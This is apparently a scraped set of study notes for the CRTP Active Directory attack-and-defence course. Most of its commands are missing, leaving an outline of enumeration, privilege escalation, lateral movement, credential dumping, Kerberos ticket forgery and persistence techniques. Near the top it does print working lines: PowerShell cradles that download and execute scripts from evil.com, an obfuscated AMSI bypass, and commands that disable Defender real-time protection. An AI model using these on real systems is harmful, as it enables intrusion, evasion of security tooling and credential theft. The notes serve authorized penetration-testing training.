📔CRTP Notes
Attacking and Defending Active Directory | Abhinandan Khurana (L0u51f3r007)
Download executable Cradle
((New-Object Net.WebClient).DownloadString('http://evil.com/evil.ps1'))iex (iwr 'http://evil.com/evil.ps1')Invoke-WebRequest -Uri "http://example.com/payload.exe" -OutFile payload.exe
or
iwr http://example.com/payload.exe -o payload.exeAMSI bypass -
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )Bypassing Real time monitoring (admin access) -
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $trueBypassing Powershell Security -
using #Invisi-Shell
Bypass AV Signatures for PowerShell
For full obfuscation of of powershell scripts use - Invoke-Obfuscation (https://github.com/danielbohannon/Invoke-Obfuscation)
AMSITrigger & DefenderCheck
1. Domain Enumeration -
Get Current Domain -
Get Object of other Domain -
Get Domain SID for the current Domain -
Get Domain Policy for the current Domain -
Get Domain policy for other Domain -
Get Domain Controller for Current Domain -
Get Domain Controllers for another Domain -
Get a list of users in the Current Domain -
Get list of all properties of user in the current Domain -
Search for a particular string in a user's attributes -
Get a list of Computers in a current Domain -
Get all the groups in the current Domain -
Gel all the groups containig the work 'admin' in group name -
Get all the members of the 'Domain Admins' group -
Get all the members of the 'Enterprise Admins' group -
Get the Group Membership for the user -
List all the local groups on the machine (need administrator privs on the non-dc machine) -
Get members of the local group "Administrators" on a machine (needs administrator privs on non-dc machines) -
Get actively logged on users on a computer (need local admin rights on the target) -
Get locally logged users on a computer (need remore registry on the target - started by default on server OS) -
Get the last logged on users on a computer (need administrative rights and remote registry on the target) -
Find Shares in host in the current Domain -
Find sensitive files on a computer in the current Domain -
Get all fileservers of the Domain -
Get list of GPO in current Domain -
Get GPO(s) which use restricted groups or groups.xml for interesting users -
Get users which are in a local group of a machine using GPO -
Get machines where the given user is member of a specific group -
Get OUs in a Domain -
Get GPO applied on an OU. Read GPO name from gplink attribute from Get-DomainOU
### List all the Computers in the StudentMachinesOU - [CRTP specific]
Get the ACLs associated with the specified object -
Get the ACLs associated with the specified prefix to be used for search -
We can also enumerate ACLs using ActiveDirectory module but without resolving GUIDs -
Search for interesting ACEs -
Get Active Directroy Rights for a GUID (like here : "RDP USers") -
Get the ACLs associated with the specified path -
Get a list of all Domain trusts for the current domain -
Get Details about the current Forest -
Get all Domains in the current Forest -
Get all the global catalogs for the current Forest -
Map trusts of a forest -
### Map external trusts in moneycorp.local forest[CRTP specific] -
Find all machines on the current domain where the current user has the local admin access -
NOTE - (Difference b/w Find-LocalAdminAccess and Find-PSRemotingLocalAdminAccess)
Find computers where a domain admin session is available and current user has admin access (uses Test-AdminAccess) -
Find computers (file servers and distributed file servers) where a domain admin session is available
2. Privilege Escalation -
Local Privilege Escalation -
PowerUp -
Service issues using PowerUp -
Run all priv esc checks -
Bloodhound -
3. Lateral Movement -
PowerShell Remoting -
Fan-out Remoting (powershell remoting)-
Use below to execute commands or script blocks - (command or script is converted to a base 64 encoded script block and sent to the server and then executed remotely)
Use Below to execute scripts from files -
Use below to execute locally loaded functions on remote machine -
In this case, we are passing arguments (keep in mind that only positional arguments could be passed this way) -
Use below to execute "Stateful" commands using Invoke-Command -
Tradecraft (powershell remoting) -
Using Mimikatz -
LSASS -
Extracting Credentials from LSASS - (Very high chances of detection when interacting with LSASS)
OverPass The-Hash -
NOTE:
DCSync -
Jenkins exploitation -
Get reverse shell from the 'builduser' using the command -
Now, get the Loader.exe from you host -
NOTE: We are piping it to null because of output redirection. If we run it without $null it will stuck.
--> only aes keys should be used (/opsec) | Interact (/show) | pass the ticket (/ptt)
-----First method ending to get DOMAIN ADMIN Privileges-----
Derivative local admin access exploitation - (which is actually dcorp-mgmt)
Bonus! --> How to look at Windows Registry key using command line -
4. Persistence - (post Domain Admin part)
Golden Ticket - (a valid TGT)
Bonus ! --> [MDI sensor (be aware) - silent detector]
Silver Ticket - (a valid TGS)
Diamond Ticket - (TGT modification attack)
Then it should be safe, ain't it? ...Detection?
The only way it is detected is when we are use the Diamond Ticket!
Skeleton Key - (Not recommended using in a actual assessment)
DSRM - (with the longest shelf life)
BONUS! --> Order of usage :-
SILVER > DIAMOND > GOLDEN
Custom SSP - (pretty useful but pretty dangerous as well)
AdminSDHolder - using ACLs (no 4662 record, so not a noisy attack 😄)
Rights Abuse - using ACLs (dangerous, MDI sensor goes nuts! when you do DCSync using this)
We do, Changes to Domain Object ACL, which gives 4662 logs with a message (write DACL perform on the object) which will be visible in Security Logs!
Security Descriptors - using ACLs
Security Descriptors - WMI
Scurity Descriptors - Powershell Remoting
Security Descriptors - Remote Registry
5. Privilege Escalation -
Kerberosting - (3 types | classic is most effective)
Targeted Kerberosting - AS-REPs
Targeted Kerberosting - Set SPN
Kerberos Delegation -
Unconstrained Delegation -
Unconstrained Delegation - Printer Bug
Constrained Delegation - (request it out of a thin air, no need to DA privs)
Constrained Delegation with Protocol Transition -
Constrained Delegation using Kekeo -
Constrained Delegation using Rubeus-
Resource based Constrained Delegation -
Child to Parent (Across Trust)
Child to parent using krbtgt hash -
Across Forest using Trust Tickets -
ADCS - Across Forest Trust
ADCS - ESC3
ADSC - ESC6
ADSC - ESC1
MSSQL Servers - Trust Abuse
MSSQL Servers - Database Links - Trust Abuse
Last updated













